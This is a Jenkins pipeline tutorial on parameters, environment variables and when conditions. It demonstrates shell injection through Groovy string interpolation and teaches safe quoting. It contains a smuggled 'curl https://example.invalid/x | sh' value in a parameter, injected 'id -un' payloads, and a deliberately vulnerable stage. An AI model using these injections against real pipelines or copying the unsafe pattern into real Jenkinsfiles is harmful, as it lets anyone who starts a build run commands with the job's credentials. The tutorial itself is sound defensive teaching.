Environment, parameters and when
Configure a pipeline without opening a shell injection hole.
cd ~/lab && curl -fsSLO https://secopslog.com/lab-files/ci-jenkins/envparams.tar.gz && tar -xzf envparams.tar.gz, which creates ~/lab/envparams/. SHA-256: 0b4a16adff1f227ef33a4e1a1afcf69636f6dcd4d7fda86039a08d78eeed0595A team adds a "version to release" text box to its Jenkins job so release managers can type v2.3. One day someone pastes v2.3; curl https://example.invalid/x | sh into that box, and the agent runs it with every credential the job can reach. The box looked like configuration, but it was a way to run commands. This lesson covers the ways a pipeline gets its settings, and how quoting decides whether a value stays a value.
Environment, parameters and when
pipeline {agent { label 'linux' }parameters {choice(name: 'TARGET', choices: ['staging', 'production'], description: 'Where to deploy')booleanParam(name: 'DEPLOY', defaultValue: false, description: 'Run the deploy stage')}environment {APP = 'demo'IMAGE_TAG = "${env.BUILD_NUMBER}"}stages {stage('Build') {steps { sh 'echo "building $APP:$IMAGE_TAG"' }}stage('Deploy') {when { expression { params.DEPLOY } }steps { sh 'echo "deploying $APP:$IMAGE_TAG to $TARGET (DEPLOY is the text $DEPLOY)"' }}stage('Production check') {when {allOf {expression { params.DEPLOY }expression { params.TARGET == 'production' }}}steps { echo 'running the production smoke test' }}}}
environment sets variables for every step in the pipeline. parameters declares inputs a person or API call can supply when starting a build. when decides whether a stage runs at all. One thing to know up front: Jenkins learns a job's parameters by running the Jenkinsfile, so a brand-new job has none until a first build has run, and that first build uses the defaults.
With defaults, DEPLOY is false, so the when conditions skip both later stages, and Jenkins says so in the console. Now start builds with values:
Parameters arrive as environment variables too, which is why the shell can read $TARGET. They arrive as text: in Groovy params.DEPLOY is a real boolean, but the shell sees the string true, so a script tests it with [ "$DEPLOY" = true ]. The Production check stage ran only when both expressions were true. allOf, anyOf and not let you combine conditions without writing Groovy logic.
A choice parameter gives a closed list. Try a value outside it:
Jenkins refused to start the build at all, with an HTTP error. A closed list is a real validation step, so prefer choice to string whenever you can list the options in advance.
A parameter that runs commands
The next pipeline looks harmless. Its two stages seem to do the same thing, and the only difference is the type of quotes:
pipeline {agent { label 'linux' }parameters { string(name: 'RELEASE', defaultValue: 'v1') }stages {stage('Unsafe') { steps { sh "echo releasing ${params.RELEASE}" } }stage('Safe') { steps { sh 'echo releasing "$RELEASE"' } }}}
Run it once so Jenkins learns the parameter, then start it with a value that contains a semicolon:
The Unsafe stage ran id -un and printed jenkins. The Safe stage printed the value as plain text. The difference is who expands the variable:
echo releasing v2; id -un and sees two commands"$RELEASE" is one word, so ; is only a characterThe rule: pass outside values to sh in single-quoted Groovy strings, and quote the variable in the shell. The Groovy "${...}" form is safe only for values you fully control. In this lesson the attacker is anyone allowed to start a build, and in a multibranch setup a branch name can reach a step the same way.
Hands-on
In a fresh lab, add a string parameter named NOTE to app/Jenkinsfile.unsafe and print it safely with sh 'printf "%s\n" "$NOTE"'. Push, run once, then run with 'NOTE=$(id -un) && true'. Confirm the text prints literally. Then change it to double quotes and ${params.NOTE}, and run it again. Finish with ./down.sh. Both versions of the file are in solutions/ if you want to compare.
What you should see: with single quotes, the shell prints the text $(id -un) && true unchanged. With double quotes and ${params.NOTE}, Groovy puts the value into the command before the shell runs, and the output is jenkins, the account the build runs as.
Remember
Single quotes around the Groovy string, double quotes around the shell variable: sh 'echo "$RELEASE"'. Prefer a choice list when you can list the values.
string parameter to a Jenkinsfile on a new job and immediately call buildWithParameters with a value. It fails. Why?BRANCH holds a value an outside contributor chose?when { expression { params.DEPLOY } } do when the condition is false?SUCCESS.skipped due to when conditional, and later stages still run.